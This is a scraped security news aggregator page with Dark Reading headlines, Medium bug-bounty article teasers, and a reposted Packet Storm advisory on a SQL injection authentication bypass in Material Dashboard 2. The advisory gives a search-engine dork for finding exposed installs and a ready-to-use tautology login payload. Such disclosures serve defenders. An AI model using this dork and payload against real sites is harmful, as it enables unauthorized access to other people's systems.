Dark Reading: Attacks/Breaches
5 Ways to Survive Scam Season — or Rather, Tax Season

Security pros need to look beyond user education to find and disarm fraudulent actors.

Dark Reading: Attacks/Breaches
Optimizing Cybersecurity Investments in a Constrained Spending Environment

Three ways to stay safe in an economically uncertain 2023.

Deserialization of untrusted data — [502]
https://medium.com/@ramawijayas.techdr7/deserialization-of-untrusted-data-502-edf8a6bb7d4?source=rss------bug_bounty-5

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —Continue reading on Medium » (https://medium.com/@ramawijayas.techdr7/deserialization-of-untrusted-data-502-edf8a6bb7d4?source=rss------bug_bounty-5)

Even more resources to make you a better hacker
https://thexssrat.medium.com/even-more-resources-to-make-you-a-better-hacker-fbd997c33acd?source=rss------bug_bounty-5

Becoming a “hacker” can mean many different things to different people, so the resources you need to improve will depend on what type of…Continue reading on Medium » (https://thexssrat.medium.com/even-more-resources-to-make-you-a-better-hacker-fbd997c33acd?source=rss------bug_bounty-5)

Bypassing API Restrictions for Fun and Profit

Recently, I downloaded and started testing an application locally which provided dashboard access along with rest API endpoints for it’s…Continue reading on Medium »
Read more...

Exploit Collector
Material Dashboard 2 SQL Injection

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
Material Dashboard version 2 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

SHA-256 | 8e3470e914d0f948912ad5bed599f01e55d99eb26c655914c5b63455027dfcc8

Download
====================================================================================================================================
| # Title : Material Dashboard 2 Auth by pass Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) |
| # Vendor : https://www.creative-tim.com/ |
| # Dork : "Material Dashboard 2 by Creative Tim" |
====================================================================================================================================
poc :

[+] Dorking İn Google Or Other Search Enggine

[+] Use Payload = user : 'or''='@gmail.com & pass : 'or''='

[+] http://127.0.0.1/kacatalystcom/

Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh |
|
=======================================================================================================================================

Source:packetstormsecurity.com